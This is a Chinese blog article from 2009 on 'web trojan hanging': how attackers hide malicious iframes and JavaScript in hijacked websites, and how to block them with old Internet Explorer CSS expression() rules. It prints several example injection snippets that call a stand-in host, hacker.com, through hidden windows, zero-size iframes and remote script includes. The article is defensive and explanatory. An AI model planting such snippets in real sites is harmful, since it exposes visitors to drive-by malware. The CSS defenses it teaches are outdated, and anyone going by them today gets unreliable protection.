注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

苗得雨:网事争锋

我们在攻击邪恶和黑暗时要毫不留情,但是也要腾出时间来为善行鼓掌,为光明喝彩!

 
 
 

日志

 
 

安全工程师之网页挂马系列2:抵御网络挂马的暗算  

2009-03-12 04:53:18|  分类: 网络安全专栏 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

◎文/苗得雨

安全工程师之网页挂马系列2:抵御网络挂马的暗算 - 苗得雨 - 苗得雨:网事争锋   网络挂马,在网络安全界中一直是一个长热不衰的话题,我们遍寻坊间的网络安全工程师和网络安全高手,想探寻网络挂马为什么总会保持有如此的热度。得到的答案直接而干脆,黑客想将自己的木马病毒传播给特定人群或者最广泛的特定人群时,所能够用到的方法只有网络挂马这一种,这也是为什么时至今日,网络挂马都在一刻不停的每天上演。

   黎塞留在《政治遗嘱》中说:“正如同总不带武器的士兵易于遭到灾祸一样,一个国家如果不时刻准备就会有许多恐惧”。对于一个网络安全工程师而言,网络挂马正是他们需要准备的,消除黑客威胁的核心知识。网络挂马不仅是黑客抓取肉鸡的主要方式,往往也会对缺乏防范的网站和服务器构成巨大威胁,让受害服务器成为病毒的源头,因此在新年伊始,我们将网络挂马列为了网络安全工程师首先需要掌握的基础知识之一,系统为大家介绍。

——苗得雨

 

 

 

锐甲团队

恶意代码分析员贾锐

从事网络安全行业近8年,资深安全工程师,独立发现多个软件漏洞

   现在,黑客在进行网页挂马时,手段开始变得越来越隐蔽。之所以这样做,是因为黑客往往并不会通过自己的网站进行挂马活动,而是选择攻击一个可信度高并且有一定访问流量的网站。将木马挂到这些网站之后,部分安装杀毒软件或防挂马软件的访问者就会发现警告提示,他们往往会通知管理人员。此时如果黑客选择的挂马手段不具有隐蔽性,往往会被网管迅速查杀掉,而具有隐蔽性的挂马方式,会另许多没有经验的网管及安全工程师头疼一阵,他们甚至会怀疑访问者误报,所以黑客在通过入侵而来的网站进行挂马时,往往会用尽心机伪装,而最常见的,也是黑客最常用来隐蔽挂马的手段之一就是——JS网页挂马。

 

 

JS挂马溯源

古人云:人算不如天算,天算不如暗算。(小编:请问哪个古人这样云的?)当IFRAME逐渐开始被黑客滥用的时候,有经验的网络安全工程师和网管们也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。

工程师小百科:JS脚本是JavaScript脚本语言的简称,它是一种原型法面向对象的脚本语言,目前广泛用于动态网页的编程语言。需要提示大家的是,JavaScript和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而JavaScript与Jscript也不同,Jscript是微软为了迎战JavaScript的脚本语言。

虽然JavaScript作为给非程序人员的脚本语言来想大众推广,但是JavaScript是一门具有非常丰富特性的语言,它有着和其它编程语言一样的复杂性,或更甚复杂。实际上,你必需对JS有扎实的理解才能用它来撰写比较复杂的程序,作为一名网络安全工程师,掌握JS脚本在工作中会有很大的帮助。

在利用CSS防范IFRAME挂马的方式中,网络安全工程师只需要用CSS中的expression属性将JavaScript脚本和CSS属性进行巧妙的关联,即可轻松防范。具体操作方法是,在所有的需要防范IFRAME挂马的网页中插入一段CSS,代码如下:

<styletype="text/css">

iframe{mdy:expression(this.src='about:blank',this.outerHTML='');}

</style>

在CSS中,expression属性允许将CSS属性和JavaScript脚本关联起来。这种方法很像许多电视台的综艺节目录制现场,在这些节目的录制现场,通常会有一名工作人员告诉现场观众,别管节目多烂,只要他一举写有“鼓掌”的牌子,就希望现场观众能够热烈鼓掌。expression就是允许CSS和JavaScript脚本进行事先约定暗号的属性。

工程师小百科:CSS直白的翻译为层叠样式表,其实它是一种规则,允许一个网页的访问者和制造者使用CSS来决定文件的颜色、字体、排版等显示特性。CSS最主要的目的是将文件的结构与文件的显示分隔开来,让网页变得更加灵活和可读性强等诸多优点。

通过上面这段代码,当黑客使用IFRAME在你的网页中挂马时,IFRAME的请求地址就会显示成为空白页面“about:blank”,然后在通过outerHTML属性将IFRAME从文档对象中移除,从而有效的切断访问者访问页面时IFRAME的请求。

此时,在你的网页中“<iframesrc="http://www.hacker.com/muma.htm"></iframe>”这种典型IFRAME挂马方式将彻底失效。而当你自己想用IFRAME效果时,只需要再利用CSS添加一段代码即可:

#shudoo{mdy: expression() !important }

然后在网页中添加实现约定好的ID标记,就可以正常的使用IFRAME了

<iframe id="shudoo" name="shudoo"src="http://www.shudoo.com/"></iframe>

这种方法停止了网页中IFRAME的请求,并彻底中断了IFRAME本身,不过有经验的黑客也开始寻觅其它的挂马方式,而且黑客在使用IFRAME的时候,往往需要在所有的网页中都插入IFRAME语句,费时费力。正是在这种环境下,利用JavaScript脚本挂马的方式出线了,因为CSS阻断IFRAME的方式无法阻断“<script></script>”的JS脚本,而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,那么所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。

 

JS挂马攻防实录

当IFRAME被网络安全工程师们紧盯之后,一些极富探索精神的黑客,发现了用JS脚本挂马的技巧。JS脚本挂马对于黑客而言,可以说优点多的数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入进Web页面的方法多达几十种,绝对能够另菜鸟级站长眼花缭乱,无从辨别木马在何处。

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄的打开网马窗口,隐藏的运行(运行效果图-1),典型代码如下:

<SCRIPTlanguage=javascript>

window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");

</script>

安全工程师之网页挂马系列2:抵御网络挂马的暗算 - 苗得雨 - 苗得雨:网事争锋

图1

这种代码往往很长,很容易被网管和网络安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,有时会出现含有恶意代码网页的恶意代码不被运行的情况。

另外一种挂马方式,黑客会先用Windows中的写字板将JS挂马脚本代码写入其中:

document.write('<Iframesrc="网页木马地址"></iframe>');

然后另存为后缀为JS的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:

<scriptsrc="http://www.hacker.com/木马脚本.js"></script>

或者

document.write("<divstyle='display:none'>")

document.write("<iframesrc="网页木马地址" width="0" height="0" scrolling="no"frameborder="0"></iframe>")

document.write("</div>")

这段代码,就成功的将木马挂到了对方的网页中了。而且黑客还可以根据情况随机变幻插入的JS挂马方法,例如黑客有可能会将脚本写为:

<div style="behaviour:url(http://www.hacker.com/木马脚本.js);">

或者

<iframesrc="vbscript:[挂马脚本]">

等等多种手段。

通常黑客在挂马时都不会采用将代码写在网页上的方法,而是会使用注入手段,让网页远程调用异地外域的JS脚本,也就是黑客自己网站上包含有恶意代码的JS挂马文件,因此我们可以从这里入手进行防范。组织一切Src请求的异地外域的JS脚本,实现方法同样可以使用CSS来进行,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}

script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

不过这种方法的确定就是网站的访问者将不能够在看到被挂了JS木马的相关网页了(图2)。

安全工程师之网页挂马系列2:抵御网络挂马的暗算 - 苗得雨 - 苗得雨:网事争锋

图2

所以我们为所有的网络安全工程师提供了一种可以闪电中止JS脚本运行的CSS代码,这个脚本会让异地外域的JS文件在使用document.write()时,用document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制缓存输出了,Writer后面的内容不会再不被写入访问者的电脑中,从而起到防范JS脚本挂马的方法。

<title>让JS挂马闪电中止的CSS代码</title>

<style type="text/css"id="shudoo">

 

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}

script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}

 

</style>

 

  普通用户如何防御挂马?

现在很多小网站都挂了恶意程序,当你不小心毫无戒备地打开这类网站后,系统可能就被页面的木马侵袭了。而锐甲(下载地址:http://www.araymor.com/download.html)就可以帮助你防御网页中的木马,安装后无须任何设置,自动检测网页危险,遇到挂马、带毒网站时会屏蔽并提示见图,还能自动修补漏洞。

安全工程师之网页挂马系列2:抵御网络挂马的暗算 - 苗得雨 - 苗得雨:网事争锋

总结

我们虽然能够巧妙的利用CSS代码防范IFRAME和JS脚本挂马,但是为什么网页挂马还是层出不穷哪?这恐怕就要说一说CSS挂马了……

预备级网络安全工程师们,你们是不是此时有些汗了?其实黑客和安全就是在这样的永远的攻与防中进行的。

  评论这张
 
阅读(63)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017